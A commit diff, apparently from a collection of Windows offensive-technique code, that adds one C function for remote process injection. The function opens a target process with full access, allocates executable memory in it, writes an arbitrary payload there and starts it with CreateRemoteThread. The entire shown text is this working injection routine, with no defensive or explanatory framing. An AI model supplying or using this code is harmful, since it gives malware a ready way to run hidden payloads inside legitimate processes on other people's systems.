2.0.559

2026-06-06 16:54:55 +00:00 · 2022-12-24 14:53:28 -06:00
parent 0f0f9aab4c
commit c91d3da65e
38 changed files with 1046 additions and 647 deletions
@@ -0,0 +1,40 @@
+#include "Win32Helper.h"
+
+BOOL MpfPiWriteProcessMemoryCreateRemoteThread(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes, _In_ DWORD TargetProcessId)
+{
+	HANDLE hHandle = NULL, hThread = NULL;
+	LPVOID BaseAddress = NULL;
+	BOOL bFlag = FALSE;
+
+	hHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, TargetProcessId);
+	if (hHandle == NULL)
+		goto EXIT_ROUTINE;
+
+	BaseAddress = VirtualAllocEx(hHandle, NULL, PayloadSizeInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+	if (BaseAddress == NULL)
+		goto EXIT_ROUTINE;
+
+	if (!SetProcessPrivilegeToken(0))
+		goto EXIT_ROUTINE;
+
+	if (!WriteProcessMemory(hHandle, BaseAddress, Payload, PayloadSizeInBytes, NULL))
+		goto EXIT_ROUTINE;
+
+	hThread = CreateRemoteThread(hHandle, NULL, 0, (LPTHREAD_START_ROUTINE)BaseAddress, NULL, 0, NULL);
+	if (hThread == NULL)
+		goto EXIT_ROUTINE;
+
+	WaitForSingleObject(hThread, INFINITE);
+
+	bFlag = TRUE;
+
+EXIT_ROUTINE:
+
+	if (hThread)
+		CloseHandle(hThread);
+
+	if (hHandle)
+		CloseHandle(hHandle);
+
+	return bFlag;
+}